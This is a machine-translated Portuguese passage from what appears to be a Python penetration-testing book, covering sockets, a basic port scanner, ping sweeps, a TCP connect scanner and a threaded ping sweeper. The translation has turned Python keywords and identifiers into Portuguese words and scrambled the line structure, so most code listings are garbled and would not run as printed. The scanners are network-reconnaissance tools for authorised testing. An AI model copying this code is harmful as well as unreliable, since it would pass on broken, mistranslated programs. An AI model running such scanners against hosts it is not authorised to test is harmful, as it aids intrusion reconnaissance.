Agora, o servidor está no modo de audição e está esperando para o cliente: Vamos ver o código
do lado do cliente. Corre client1.py:
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM) porta do host =

"192.168.0.1" endereço # server = 12345 #server porta
s.connect ((host, port)) s.recv

impressão (1024)
s.send ( "Olá Servidor")
s.close ()
No código anterior, dois métodos são novos: s.connect ((host, port)),

que liga o cliente para o servidor, e s.recv (1024), que recebe as cordas enviados pelo servidor. A
saída de client.py ea resposta do servidor é mostrado na imagem a seguir:
A imagem anterior da saída mostra que o servidor aceita a conexão de 192.168.0.11. Não fique confuso ao ver
a porta 1789; é a porta aleatória do cliente. Quando o servidor envia uma mensagem para o cliente, ele usa o Conn
soquete, como mencionado anteriormente, e esta tomada conn contém o número do endereço IP do cliente e
do porto.
[14]
Capítulo 1
O diagrama a seguir mostra como o cliente aceita a conexão do servidor. O servidor está no modo de
audição, eo cliente se conecta ao servidor. Quando você executa o programa de servidor e cliente
novamente, a porta aleatória é alterado. Para o cliente, a porta do servidor 12345 é a porta de destino, e para
o servidor, a porta aleatória cliente 1789 é a porta de destino.
192.168.0.1
192.168.0.1 192.168.0.11
soquete
192.168.01: 12345 || 192.168.0.11: 1789
12345
aleatório Porto
Servidor Cliente
Você pode estender a funcionalidade do servidor usando o enquanto laço, como se mostra no seguinte programa.
Execute o server2.py programa:
soquete importação hospedeira =

"192.168.0.1" port = 12345

s.bind ((host, port))
s.listen (2) while
True:
Conn, addr = s.accept () addr impressão, "Agora Conectado"
conn.send ( "Obrigado por conectar") conn.close ()
O código anterior é o mesmo que o anterior, apenas o infinito enquanto laço é adicionado. Execute o server2.py
programa, e para o cliente, prazo client1.py.
[15]
A saída de server2.py é mostrado aqui:
Um servidor pode dar serviço a muitos clientes. o enquanto circuito mantém o programa de servidor vivo e não
permite que o código para terminar. Você pode definir um limite de conexão à enquanto laço; por exemplo, definir enquanto
i> 10 e incremento Eu com cada ligação. Antes de prosseguir para o próximo exemplo, o conceito de bytearray deve
ser entendida. o bytearray matriz é uma sequência de números inteiros sem sinal mutável no intervalo de 0 a 255.
Pode eliminar, inserir ou substituir valores arbitrários ou fatias. o
bytearray objetos do array pode ser criado chamando o built-in bytearray matriz. A sintaxe geral de bytearray é
como se segue:
bytearray ([fonte [, codificação [, erros]]])
Vamos ilustrar este aspecto 2 com um exemplo:
> > > m = bytearray ( "Mohit Mohit")

> > > M [1]
111
> > > M [0] 77
> > > m [: 5] = "Olá"

>>>m
bytearray (b'Hello Mohit ')
>>>
[16]
Capítulo 1
Este é um exemplo do corte de bytearray.
Agora, vamos olhar para a operação de divisão em bytearray ():
> > > m = bytearray ( "Olá Mohit")

>>>m
bytearray (b'Hello Mohit ')
> > > m.split ()
[Bytearray (b'Hello '), bytearray (b'Mohit')]
O seguinte é a operação de acréscimo em bytearray ():
> > > m.append (33)

>>>m
bytearray (b'Hello Mohit! ')
> > > bytearray (b'Hello Mundo! ")
O próximo exemplo é de s.recv_into (amarelo). Neste exemplo, usaremos

bytearray () para criar um tampão para armazenar dados. Primeiro, execute o
código do lado do servidor. Corre server3.py:

"192.168.0.1" port = 12345

s.listen (1)
Conn, addr = s.accept () print "ligados por",
endereço conn.send ( "Thanks") conn.close
()
O programa anterior é o mesmo que o anterior. Neste programa, o servidor envia Obrigado, seis caracteres.
Vamos executar o programa do lado do cliente. Corre client3.py:

"192.168.0.1" port = 12345

s.connect ((host, port))
buf = bytearray ( "-" * 30) tampão # criado print "Número de Bytes",
s.recv_into (buf) buf de impressão
s.close
[17]
No programa anterior, uma buf parâmetro é criado usando bytearray ().

o s.recv_into (BUF) declaração nos dá o número de bytes recebidos. o buf parâmetro nos dá a seqüência
recebida. A saída de client3.py e server3.py é mostrado na imagem seguinte:
Nosso programa de cliente recebido com sucesso 6 bytes de corda, Obrigado. Agora, você deve ter pego uma
idéia de bytearray (). Eu espero que você vai se lembrar. Desta vez vou criar um socket UDP. Corre udp1.py, e
vamos discutir o código linha por linha:

"192.168.0.1" port = 12346
s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)

s.bind ((host, port)) de dados, addr = s.recvfrom
(1024) impressão "recebido a partir de", addr
impressão "obtida", os dados
s.close ()
socket.SOCK_DGRAM cria um socket UDP, e dados, addr = s.recvfrom (1024)

retorna duas coisas: a primeira é a de dados e o segundo é o endereço da fonte.
[18]
Capítulo 1
Agora, veja os preparativos do lado do cliente. Corre udp2.py:

"192.168.0.1" port = 12346
s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM) s.sendto print ( "Olá a

todos", (host, port))
s.close ()
Aqui, eu usei o socket UDP eo s.sendto () método, como você pode ver na definição de socket.sendto (). Você
sabe muito bem que o UDP é um protocolo sem conexão, por isso não há necessidade de estabelecer uma
conexão aqui. A imagem seguinte mostra a saída de udp1.py ( o servidor UDP) e udp2. py ( o cliente UDP):
O programa servidor recebeu dados com êxito.
Vamos supor que um servidor está em execução e não há nenhuma conexão início cliente, e que o
servidor terá sido ouvindo. Assim, para evitar esta situação, utilize socket. setTimeout (valor).
Geralmente, damos um valor como um número inteiro; se eu dar 5 como o valor, isso significaria esperar por 5 segundos. Se a
operação não for concluída dentro de 5 segundos, em seguida, uma exceção tempo limite seria levantado. Você também pode
fornecer um valor flutuante não-negativo.
[19]
Por exemplo, vamos olhar para o seguinte código:

"192.168.0.1" port = 12346
s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM)

s.settimeout (5)
dados, addr = s.recvfrom (1024) impressão
"recevied a partir de", addr impressão "obtida",
os dados
s.close ()
Eu adicionei uma linha extra, isto é, s.settimeout (5). O programa espera por 5 segundos; só depois é que ele vai te
dar uma mensagem de erro. Corre udptime1.py.
A saída é mostrado na imagem seguinte:
O programa mostra um erro; no entanto, não parece bom se ele dá uma mensagem de erro. O
programa deve lidar com as exceções.
exceções soquete
A fim de lidar com exceções, vamos usar o try e except blocos. O exemplo seguinte irá dizer-lhe como lidar
com as exceções. Corre udptime2.py:

"192.168.0.1" port = 12346
s = socket.socket (socket.AF_INET, socket.SOCK_DGRAM) tentar:
[20]
Capítulo 1

s.settimeout (5)
dados, addr = s.recvfrom (1024) impressão
"recevied a partir de", addr impressão "obtida",
os dados
s.close ()
exceto socket.timeout:
print "Cliente não conectado"
s.close ()
No bloco try, eu coloquei meu código, e para o bloco except, uma mensagem personalizada é impresso se ocorrer
qualquer exceção.
Diferentes tipos de exceções são definidas na biblioteca de soquete de Python para erros diferentes. Essas
exceções são descritas aqui:
• socket.herror exceção: Este bloco captura o erro relacionado com o endereço.
• socket.timeout exceção: Este bloco identificou a excepção quando um tempo limite em um

soquete ocorre, o qual foi activado por setTimeout ().
No exemplo anterior, você pode ver que nós usamos socket.timeout.
• socket.gaierror exceção: Este bloco de captura qualquer excepção de que é aumentada devido a
getaddrinfo () e getnameinfo ().
• socket.error exceção: Este bloco pega quaisquer erros relacionados com o soquete. Se você não tem certeza
sobre qualquer exceção, você poderia usar isso. Em outras palavras, você pode dizer que é um bloco genérico
e pode pegar qualquer tipo de exceção.
Baixando o código exemplo

Você pode baixar os arquivos de código de exemplo a partir de sua conta em
http://www.packtpub.com para todos os livros Packt Publishing que você comprou. Se
você comprou este livro em outro lugar, você pode visitar http://www.packtpub.com/support
e se registrar para ter os arquivos diretamente para você por e-mail.
[21]
Tomada métodos úteis

Até agora, você ganhou conhecimento da tomada e arquitetura cliente-servidor. Neste nível, você pode fazer um
pequeno programa de redes. No entanto, o objetivo deste livro é para testar a rede e coletar informações. Python
ofertas muito bonitas, bem como métodos úteis para reunir informações. Primeiro, tomada importação e, em
seguida, usar esses métodos:
• socket.gethostbyname (host): Este método converte um nome de host para o formato de endereço IPv4.
O endereço IPv4 é devolvido na forma de uma corda. Aqui está um exemplo:
>>> tomada de importação
> > > socket.gethostbyname ( 'thapar.edu') '220.227.15.55'
>>>
> > > socket.gethostbyname ( 'google.com')
'173.194.126.64'
>>>
Eu sei que você está pensando sobre o nslookup comando. Mais tarde, você vai ver mais magia.
• socket.gethostbyname_ex (nome): Este método converte um nome de host para o padrão de endereço IPv4.
No entanto, a vantagem sobre o método anterior é que dá a todos os endereços IP do nome de domínio.
Ele retorna uma tupla (hostname, nome canônico, e IP_addrlist) onde o hostname é dado por nós, o nome
canônico é uma lista (possivelmente vazio) de nomes de hosts canônicos do servidor para o mesmo
endereço, e IP_addrlist é uma lista todos os disponíveis IPs do mesmo hostname. Muitas vezes, um nome
de domínio está hospedado em muitos endereços IP para equilibrar a carga do servidor. Infelizmente,
este método não funciona para IPv6. Eu espero que você esteja bem familiarizado com tupla, lista e
dicionário. Vejamos um exemplo:
> > > socket.gethostbyname_ex ( 'thapar.edu') ( 'thapar.edu', [], ['14 .139.242.100' ,
'220.227.15.55'])
> > > socket.gethostbyname_ex ( 'google.com')
>>>
( 'Google.com', [], [ '173.194.36.64', '173.194.36.71', '173.194.36.73', '173.194.36.70',

'173.194.36.78', '173.194.36.66', '173,194. 36,65' , '173.194.36.68', '173.194.36.69',
'173.194.36.72', '173.194.36.67'])
>>>
[22]
Capítulo 1
Ele retorna muitos endereços IP para um único nome de domínio. Isso significa que um domínio, tal como thapar.edu
ou google.com roda em vários IPs.
• socket.gethostname (): Isso retorna o nome do host do sistema em que o interpretador Python está
sendo executado:
> > > socket.gethostname ()
'Extreme'
Para recolher o endereço IP da máquina atual pelo módulo socket, você pode usar o seguinte truque
usando gethostbyname (gethostname ()):
> > > socket.gethostbyname (socket.gethostname ()) '192.168.10.1'
>>>
Você sabe que o nosso computador tem muitas interfaces. Se você quer saber o endereço IP de todas as
interfaces, use a interface estendida :.
> > > socket.gethostbyname_ex (socket.gethostname ()) ( 'extremas', [], ['10 .0.0.10' ,
'192.168.10.1', '192.168.0.1'])
>>>
Ele retorna um tuplo contendo três elementos: primeiro é o nome da máquina, o segundo é uma lista de nomes
alternativos para o nome da máquina (vazio, neste caso,) e o terceiro é a lista de endereços IP de interfaces.
• socket.getfqdn ([nome]): Isto é usado para encontrar o nome completo, se ele estiver disponível. O nome do
domínio qualificado completamente consiste de um nome de host e domínio; por exemplo, beta pode ser o
nome do host e example.com pode ser o nome de domínio. o nome do domínio qualificado completamente
(FQDN) torna-se beta. example.com :.
> > > socket.getfqdn ( 'facebook.com')
'edge-star-shv-12-frc3.facebook.com'
No exemplo anterior, edge-star-SHV-12 frc3 é o nome do host e

facebook.com é o nome de domínio. No exemplo a seguir, FQDN não está disponível para thapar.edu:
> > > socket.getfqdn ( 'thapar.edu') 'thapar.edu'
Se o argumento nome é em branco, ele retorna o nome atual da máquina:
> > > socket.getfqdn ()
'Extreme'
>>>
[23]
• socket.gethostbyaddr (iP_address): Isto é como uma pesquisa "reversa" para o nome. Ele retorna
uma tupla (hostname, nome canônico, e IP_addrlist) em que hostname é o nome do host que
responde ao dado endereço de IP,
o nome canônico é uma lista (possivelmente vazio) de nomes canônicos do mesmo endereço,
e IP_addrlist é uma lista de endereços IP para a mesma interface de rede no mesmo host:
> > > socket.gethostbyaddr ( '173.194.36.71') ( 'del01s06-in-f7.1e100.net', [], [

'173.194.36.71'])
> > > socket.gethostbyaddr ( '119.18.50.66')
Traceback (chamada mais recente passada):

File "<pyshell # 9>", linha 1, na <module>
socket.gethostbyaddr ( '119.18.50.66') herror: [Errno
11004] host não encontrado
Ela mostra um erro na última consulta porque pesquisa inversa de DNS não está presente.
• socket.getservbyname (nomedoserviço [, protocol_name]): Isto converte qualquer nome protocolo para o

número da porta correspondente. O nome do protocolo é opcional, TCP ou UDP. Por exemplo, o
serviço DNS usa TCP, bem como conexões UDP. Se o nome do protocolo não é dado, qualquer
protocolo poderia igualar:
> > > socket.getservbyname ( 'http') 80
> > > socket.getservbyname ( 'SMTP', 'tcp') 25
>>>
• socket.getservbyport (porta [, protocol_name]): Isso converte um número de porta de Internet para

o serviço correspondente. O nome do protocolo é opcional, TCP ou UDP:
> > > socket.getservbyport (80) 'http'
> > > socket.getservbyport (23) 'telnet'
> > > socket.getservbyport (445)

'Microsoft-ds'
>>>
[24]
Capítulo 1
• socket.connect_ex (endereço): Esse método retorna um indicador de erro. Se for bem sucedido. ele retorna
0; caso contrário, retorna o errno variável. Você pode tirar vantagem desta função para digitalizar os
portos. Execute o connet_ex.py programa:
importação tomada rmip =

'127.0.0.1'
portlist = [22,23,80,912,135,445,20]
para a porta em portlist:

meia = socket.socket (socket.AF_INET, socket.SOCK_STREAM) result = sock.connect_ex
((rmip, porta)) porta de impressão, ":", resultam sock.close ()
A saída do programa anterior mostra que as portas 80912135 e 445 estão abertas. Este é um scanner de porta rudimentar.
O programa está usando o endereço IP 127.0.0.1; este é o endereço de um loop de volta, por isso é impossível ter
quaisquer problemas de conectividade. No entanto, quando você tem problemas, executar esta em outro dispositivo com
uma lista de porta grande. Desta vez, você terá que usar socket.settimeout (valor):
socket.getaddrinfo (host, port [, família [, socktype [, proto [, bandeiras]]]])
Este método de soquete converte os argumentos de acolhimento e de porta em uma sequência de cinco tuplos.
Vamos dar uma olhada exemplo a seguir:
> > > socket.getaddrinfo ( 'www.thapar.edu', 'http')
[(2, 1, 0, '', ( '220.227.15.47', 80)), (2, 1, 0, '', ('14 .139.242.100' ,

80))]
>>>
[25]
saída 2 representa a família, 1 representa o tipo soquete, 0 representa o protocolo, '' representa o nome
canónica, e (' 220.227.15.47' , 80) representa o endereço 2socket. No entanto, este número é difícil de
compreender. Abra o diretório do soquete.
Use o seguinte código para encontrar o resultado de uma forma legível:
get_protnumber def (prefixo):

dict retorno ((getattr (socket, a), a)
para um em dir (tomada)
se a.startswith (prefixo))
proto_fam = get_protnumber ( '') AF_ tipos get_protnumber = ( '')

SOCK_ protocolos = get_protnumber ( 'IPPROTO_')
para res em socket.getaddrinfo ( 'www.thapar.edu', 'http'):
família, socktype, proto, canonname, sockaddr = res
print 'Family :', Proto_fam [família]

print Type' :', tipos [socktype]
print 'Protocolo :', Protocolos [proto]
print 'Nome canônico:', canonname print 'endereço de
soquete:', sockaddr
A saída do código é mostrada na imagem seguinte:
[26]
Capítulo 1
A parte superior faz um dicionário usando o AF_, SOCK_, e IPPROTO_ prefixos que mapeiam o número de
protocolo para seus nomes. Este dicionário é formada pela técnica de compreensão da lista.
A parte superior do código pode às vezes ser confusa, mas podemos executar o código separadamente como se
segue:
> > > Dict ((GetAttr (tomada, n), n) para n na dir (tomada) se
n.startswith ( 'AF_'))
{0: 'AF_UNSPEC', 2: 'AF_INET', 6: 'AF_IPX', 11: 'AF_SNA', 12: 'AF_ DECnet', 16: 'AF_APPLETALK', 23:
'AF_INET6', 26: 'AF_IRDA'}
Agora, isso é fácil de entender. Este código é usado geralmente para obter o número do protocolo:
para res em socket.getaddrinfo ( 'www.thapar.edu', 'http'):
A linha de código anterior retorna os cinco valores, tal como discutido na definição. Estes valores são
então combinados com seu dicionário correspondente.
Resumo
Agora, você tem uma idéia do trabalho em rede em Python. O objetivo deste capítulo é completar os
pré-requisitos dos próximos capítulos. Desde o início, você aprendeu a necessidade de pentesting. Pentesting
é conduzida para identificar ameaças e vulnerabilidades na organização. O que deve ser testado? Isso é
especificado no acordo; não tente testar qualquer coisa que não é mencionado no acordo. Acordo é seu cartão
de livre-prisão. A pentester deve ter conhecimento da mais recente tecnologia. Você deve ter algum
conhecimento de Python antes de começar a ler este livro. Para executar scripts Python, você deve ter uma
configuração de laboratório, uma rede de computadores para testar um sistema vivo e sites fictícios em
execução no servidor Apache. Este capítulo discutiu o soquete e seus métodos. O método de tomada de
servidor define como fazer um simples servidor. O servidor liga o seu próprio endereço e porta para ouvir as
conexões. Um cliente que sabe o número do endereço do servidor ea porta se conecta ao servidor para obter
serviço. Alguns métodos de soquete, como socket.recv (bufsize), socket.recvfrom (bufsize), socket.recv_into (tampão), socket.send
(bytes),
e assim por diante são úteis para o servidor, bem como o cliente. Você aprendeu a lidar com diferentes tipos de
exceções. No Tomada métodos úteis seção, você tem uma idéia de como obter o IP eo nome do host de um
equipamento, como recolher o endereço IP do nome de domínio, e vice-versa.
No próximo capítulo, você vai ver pentesting digitalização, que inclui a varredura de endereços IP para detectar os
anfitriões vivos. Para realizar a digitalização IP, varredura de ping e digitalização TCP são usados. Você vai aprender a
detectar serviços em execução em um host remoto usando scanner de porta.
[27]
digitalização pentesting
digitalização em rede refere-se a um conjunto de procedimentos que investigam uma série ao vivo, o tipo de host,
portas abertas, eo tipo de serviços em execução no host. digitalização em rede é uma parte da coleta de informações
em virtude do qual um ataque pode criar um perfil da organização-alvo.
Neste capítulo, vamos abordar os seguintes tópicos:
• Como verificar os sistemas vivos
• Ping varredura
• scanner de TCP
• Como criar um scanner de IP eficiente
• Serviços em execução na máquina de destino
• O conceito de um digitalizador de porta
• Como criar um scanner de porta eficiente
Você deve ter conhecimento básico da comunicação camada TCP / IP. Antes de prosseguir, o conceito de Protocol
Data Unit (PDU) deve ser clara. PDU é uma unidade de dados especificados no protocolo. Ele é o termo
genérico para os dados em cada camada.
• Para a camada de aplicação, indica dados PDU
• Para a camada de transporte, PDU indica um segmento
• Para a Internet ou a camada de rede, PDU indica um pacote
• Para a camada de ligao de dados ou camada de acesso à rede, PDU indica um quadro
• Para a camada física, isto é, a transmissão física, PDU indica pedaços

Como verificar os sistemas vivos, em uma rede e o

conceito de um sistema vivo
ping scan envolve o envio de uma ICMP Echo Request a um host. Se um host está vivo, ele retornará um ICMP
echo reply, como mostrado na imagem a seguir:
ICMP Echo Request
ICMP ECHO Responder
Fonte Destino
pedido ICMP e resposta
Do sistema operacional sibilo comando prevê a possibilidade de verificar se o host está vivo ou não. Considere
uma situação onde você tem que testar uma lista completa de endereços IP. Nesta situação, se você testar o IP
por um, ele vai ter um monte de tempo e esforço. A fim de lidar com esta situação, usamos varredura de ping.
Ping varredura
Ping varredura é usado para identificar o host ao vivo a partir de um intervalo de endereços IP, enviando a
solicitação ICMP ECHO ea resposta ICMP ECHO. A partir de uma sub-rede e endereço de rede, um atacante
ou pentester pode calcular o alcance da rede. Nesta seção, vou demonstrar como tirar vantagem da facilidade
de ping de um sistema operacional.
Primeiro, vou escrever uma peça simples e pequeno de código, como segue:
import os
= resposta os.popen ( 'ping -n 1 10.0.0.1') para a linha em
response.readlines (): linha de impressão,
[30]
Capítulo 2
No código anterior, import os importa o módulo OS para que possamos executar o comando OS. A próxima linha os.popen
( '-n pingue 1 10.0.0.1') que leva um comando DOS é passado como uma cadeia e retorna um objeto de
arquivo-like ligado a fluxos de entrada ou de saída padrão do comando. o pingue -n 1 10.0.0.1 comando é um
comando do sistema operacional Windows que envia um pacote ICMP Echo Request. Ao ler o os.psopen () função,
você pode interceptar a saída do comando. A saída é armazenada no resposta variável. Na linha seguinte, o readlines
() função é usada para ler a saída de um objeto de arquivo-like. A saída do programa é o seguinte:
G: \ Project Cobra \ Chapter 2 \ ip> ips.py
Ping 10.0.0.1 com 32 bytes de dados: Resposta de 10.0.0.1: bytes = 32
tempo = 3 ms TTL = 64
estatísticas Ping para 10.0.0.1:
Pacotes: Enviados = 1, Recebidos = 1, Perdidos = 0 (0% de perda), os tempos de
ida e volta aproximado em milissegundos:
Mínimo = 3ms, Máximo = 3ms, Média = 3ms
O resultado mostra o responder, byte, tempo, e TTL valores, que indicam que o anfitrião é ao vivo. Considere
outra saída do programa para IP 10.0.0.2.
G: \ Project Cobra \ Chapter 2 \ ip> ips.py ping 10.0.0.2 com 32 bytes de dados:
Resposta de 10.0.0.16: host de destino inacessível.
estatísticas Ping para 10.0.0.2:
Pacotes Enviados: = 1, = 1 Recebidos, Perdidos = 0 (0% de perda),
A saída anterior mostra que o host não é ao vivo.
O código anterior é muito importante para o bom funcionamento, e é semelhante ao motor de um carro. A fim de
torná-lo totalmente funcional, precisamos modificar o código de modo que é plataforma independente e produzir
uma saída de fácil leitura.
[31]
Eu quero o meu código para trabalhar para uma gama de IPs:
import os
net = raw_input ( "Digite o endereço de rede") net1 = net.split ( ' ') net1
impressão a ='.'
net2 = net1 [0] + a + net1 [1] + a + net1 [2] + uma net2

impressão
st1 = int (raw_input ( "Digite o número inicial ")) en1 = int (raw_input (" introduzir o
último número"))
O código anterior pede o endereço de rede da sub-rede, mas você pode dar qualquer endereço IP da sub-rede.
A próxima linha net1 = net.split ( '') divide o endereço IP em quatro partes. o net2 = net1 [0] + a + net1 [1] + a + net1 [2]
+ A declaração constitui o endereço de rede. As duas últimas linhas pedir um intervalo de endereços IP. Para
torná-lo independente de plataforma, use o seguinte código:
import os plataforma importação oper =

platform.system () if (oper ==
"Windows"):
ping1 = "ping -n 1" elif (oper ==

"Linux"):
ping1 = "-c de ping 1" else:
ping1 = "pingue -c 1"
O código anterior determina se o código está sendo executado no sistema operacional Windows ou a plataforma
Linux. o Oper = platform.system () declaração informa isso para o sistema operacional em execução como a sibilo comando
é diferente no Windows e Linux. usos do sistema operacional Windows pingue -N1 para enviar um pacote de solicitação
ICMP ECHO, enquanto o Linux utiliza ping -c 1.
Agora, vamos ver o seguinte código completo:
importação plataforma de sistema
operacional de importação
de data e hora de data e hora de importação

net = raw_input ( "Digite o endereço de rede") net1 = net.split ( ' ') a ='.'
net2 = net1 [0] + a + net1 [1] + a + net1 [2] + um st1 = int (raw_input ( "Digite o
número inicial ")) en1 = int (raw_input (" introduzir o último número"))
[32]
Capítulo 2
en1 = + 1 en1
Oper = platform.system ()
if (oper == "Windows"):
"Linux"):
ping1 = "ping -c 1" t1 = datetime.now () print

"Scanning in Progress" para o ip em xrange
(st1, EN1):
addr = net2 + str (ip) comm = ping1 + addr = resposta

os.popen (comm) para a linha em response.readlines ():
if (line.count ( "TTL")):
pausa
addr de impressão "-> Live"
t2 = datetime.now () Total =
t2-t1
print "varredura em completa", o total
Aqui, um par de coisas novas estão no código anterior. o para ip em xrange (st1, EN1): declaração fornece os
valores numéricos, isto é, o último valor octeto do endereço IP. Dentro do para ciclo, a addr = net2 + str (ip) declaração
faz com que seja um endereço IP completo, eo Comm = ping1 + addr declaração torna um comando completo OS
que passa a os.popen (comm). o if (line.count ( "TTL")):
instrução verifica para a ocorrência de TTL na linha. Caso existam TTL valor é encontrado na linha, em seguida, ele rompe o
processamento posterior da linha, utilizando o pausa declaração. As próximas duas linhas de impressão de código o endereço IP
como ao vivo, onde TTL seja encontrado. eu usei
datetime.now () para calcular o tempo total necessário para ler. A saída do ping_sweep.py
programa é o seguinte:
G: \ Project Cobra \ Chapter 2 \ ip> python ping_sweep.py Digite o endereço de
rede 10.0.0.1 Digite o Iniciando número 1 introduzir o último número 60
Digitalização em andamento
10.0.0.1 -> Em directo
[33]
10.0.0.10 -> Em directo
10.0.0.11 -> Em directo
varredura completa em 0: 02: 35,230 mil
Para digitalizar 60 endereços IP, o programa tomou 2 minutos e 35 segundos.
O conceito de varredura TCP e sua implementação usando um

script Python
Ping varredura trabalha no pedido ICMP ECHO ea resposta ICMP ECHO. Muitos usuários desligar o seu recurso de resposta
ICMP ECHO ou usar um firewall para bloquear pacotes ICMP. Nesta situação, o scanner varredura de ping pode não
funcionar. Neste caso, você precisa de uma varredura TCP. Eu espero que você esteja familiarizado com o de três vias aperto
de mão, como mostrado na imagem a seguir:
Enviar SYN (SEQ = 100

1
SYN) SYN, recebeu
Enviar SYN, ACK (SEQ =2300 = 101 ACK

SYN, ACK)
SYN, ACK recebido
3 estabelecido
ACK recebido
Enviar (SEQ = 101 ACK = 301)
[34]
Capítulo 2
Para estabelecer a conexão, os anfitriões executar um aperto de mão de três vias. Os três passos para estabelecer
uma conexão TCP são os seguintes:
1. O cliente envia um segmento com a SYN bandeira; isto significa que as solicitações do cliente
o servidor para iniciar uma sessão.
2. Na forma de uma resposta, o servidor envia o segmento que contém o ACK

e SYN bandeiras.
3. O cliente responde com um ACK bandeira. Agora, vamos ver o
seguinte código de uma varredura TCP:
de data e hora import datetime net = raw_input ( "Insira o

endereço IP") net1 = net.split ( ' ') a ='.'
número inicial ")) en1 = int (raw_input (" introduzir o último número")) en1 = + 1 en1
t1 = datetime.now () def
varredura (endereço):
peúga = socket.socket (socket.AF_INET, socket.SOCK_STREAM) socket.setdefaulttimeout
(1) = resultado sock.connect_ex ((addr, 135)) se o resultado == 0:
return 1 else:
retornar 0
RUN1 def ():

para ip em xrange (st1, EN1):
addr = net2 + str (ip) if
(varredura (addr)):
addr impressão, "é ao vivo"
RUN1 ()
t2 = datetime.now () Total =
t2-t1
[35]
A parte superior do código anterior é o mesmo que o código anterior. Aqui, usamos duas funções. Em primeiro
lugar, a varredura (endereço) função usa o soquete, como discutido em Capítulo 1, Python com testes de
penetração e Networking. o = resultado da peúga. connect_ex ((addr, 135)) instrução retorna um indicador de erro. O
indicador de erro é 0 se a operação for bem sucedida, caso contrário, é o valor da errno variável. Aqui, usamos
porta 135; este scanner funciona para o sistema Windows. Há alguns portos, como 137, 138, 139 (serviço de
nome NetBIOS), e 445 (Diretório Microsoft-DSActive), que são normalmente aberto. Assim, para obter
melhores resultados, você tem que mudar a porta e digitalizar repetidamente. A saída do iptcpscan.py programa
é o seguinte:
G: \ Project Cobra \ Chapter 2 \ ip> python iptcpscan.py Digite o endereço IP
10.0.0.1 Digite o Iniciando número 1 introduzir o último número 60
10.0.0.8 é ao vivo
10.0.0.11 é ao vivo
10.0.0.12 é ao vivo
10.0.0.15 é ao vivo
G: \ Project Cobra \ Chapter 2 \ ip>
Vamos mudar o número da porta, use 137, e ver o seguinte resultado:
varredura completa em 0: 01: 00,027000 G: \ Project
Cobra \ Chapter 2 \ ip>
Então, não haverá resultado de esse número de porta. Alterar o número da porta, use
445, e a saída será a seguinte:
[36]
Capítulo 2
10.0.0.5 é ao vivo
10.0.0.13 é ao vivo
G: \ Project Cobra \ Chapter 2 \ ip>
As três saídas anteriores mostram que 10.0.0.5, 10.0.0.8, 10.0.0.11, 10.0.0.12,

10.0.0.13, e 10.0.0.15 são ao vivo. Estes endereços IP estão em execução no sistema operacional Windows. Portanto, este é um
exercício para você verificar as portas abertas comuns para Linux e fazer IP de um scanner completo IP TCP.
Como criar um scanner de IP eficiente

Até agora, você viu o scanner varredura de ping eo scanner IP TCP. Imagine que você compra um carro que tem todas
as instalações, mas a velocidade é muito lenta, então você sente que é um desperdício de tempo. A mesma coisa
acontece quando a execução do nosso programa é muito lento. Para digitalizar 60 anfitriões, os ping_sweep.py programa
levou 2 minutos e 35 segundos para o mesmo intervalo de endereços IP para o qual o scanner TCP levou quase um
minuto. Eles levam muito tempo para produzir os resultados. Mas não se preocupe. Python oferece multithreading, o
que tornará o seu programa mais rápido. Eu escrevi um programa completo de varredura de ping com multithreading e
vai explicar isso para você seção-wise:
import os
coleções de importação
importar plataforma
Tomada de importação, subprocess, sys
rosqueamento importação
de data e hora de data e hora de importação ''
'seção 1 '''
net = raw_input ( "Digite o endereço de rede") net1 = net.split ( ' ') a ='.'
número inicial ")) en1 = int (raw_input (" introduzir o último número")) en1 = + 1 en1
dic = collections.OrderedDict () oper =

platform.system ()
if (oper == "Windows"):
[37]

"Linux"):
ping1 = "ping -c 1" t1 =

datetime.now () '' 'secção 2' ''
classe myThread (threading.Thread):

def __init __ (self, r, en):
threading.Thread .__ __ Init (auto) self.st = r = self.en
en def correr (auto):
RUN1 (self.st, self.en) a secção 3 ' ''

'' def RUN1 (st1, en1):
# print "Scanning em Progressos" para ip em

xrange (st1, EN1):
# impressão, addr = net2 + str (ip) comm = ping1 +
endereço de resposta = os.popen (comm) para a linha
em response.readlines () "":
pausa
# addr de impressão "-> Live" dic [ip] =
addr '' 'Seção 4 ''' total_ip = EN1-st1
tn = 20 # número de ip tratado por um fio total_thread = total_ip / tn

total_thread = total_thread + 1 tópicos = [] tentar:
para i em xrange (total_thread):

en = st1 + tn se (en>
EN1):
en = en1
rosca = myThread (st1, br) Thread.Start ()
threads.append (rosca) st1 = en excepto:
[38]
Capítulo 2
imprimir "Erro: não foi possível iniciar thread" print "\ t
Número de Threads ativa:", threading.activeCount ()
por t em tópicos:
t.join ()
print "Saindo da linha principal"
dict = collections.OrderedDict (ordenadas (dic.items ())) para chave no dict:
dict de impressão [key], "->" "Live" t2 =

datetime.now () Total = t2-t1
o seção 1 seção é a mesma que para o programa anterior. A única coisa que é adicional aqui é que eu tenho
tomado um dicionário ordenado porque lembra a ordem em que são adicionados seu conteúdo. Então, se
você quer saber qual fio dá a saída primeiro, então o dicionário ordenado se encaixa aqui. o seção 2 seção
contém a classe threading, eo classe myThread (enfiamento da linha.): declaração inicializa a classe threading. o self.st
= r e auto. en = en declarações tomar a faixa de início e fim do endereço IP. o seção 3
seção contém a definição do RUN1 função, que é o motor do carro, e é chamado por cada segmento com um
intervalo de endereços IP diferente. o dic [ip] = addr
declaração armazena o ID do host como uma chave e o endereço IP como um valor no dicionário ordenado.
o secção 4 declaração é totalmente novo neste código; a total_ip
variável é o número total de IPs a ser digitalizado. O significado do tn = 20
variável é que ele afirma que 20 IPs serão verificados por um fio. o total_thread
variável contém o número total de segmentos que precisa fazer a varredura total_ip, o que denota o
número de IPs. o tópicos = [] instrução cria uma lista vazia, que irá armazenar os fios. o para laço para i em
xrange (total_thread):
produz threads.
en = st1 + tn
if (en> EN1):
en = en1
= st1 en
O código anterior produz a gama de 20-20 IPs, tais como st1-20, 20-40 ...... -en1. o rosca = myThread (st1, br) declaração
é o objeto segmento da classe threading.
por t em tópicos:
t.join ()
[39]
O código anterior termina todas as roscas. A próxima linha dict = coleções. OrderedDict (ordenadas (dic.items ())) cria
um novo dicionário classificadas dict,
qual contém endereços IP em ordem. As próximas linhas imprimir o IP ao vivo em ordem. o
threading.activeCount () declaração mostra como muitos segmentos são produzidos. Uma imagem salva
1000 palavras. A imagem a seguir faz a mesma coisa:
IP
0 20 40 60 80 100 120 140 160 180 200
tn = 20 (gama)
total_ip = 200
thread7 thread9
thread1 thread5
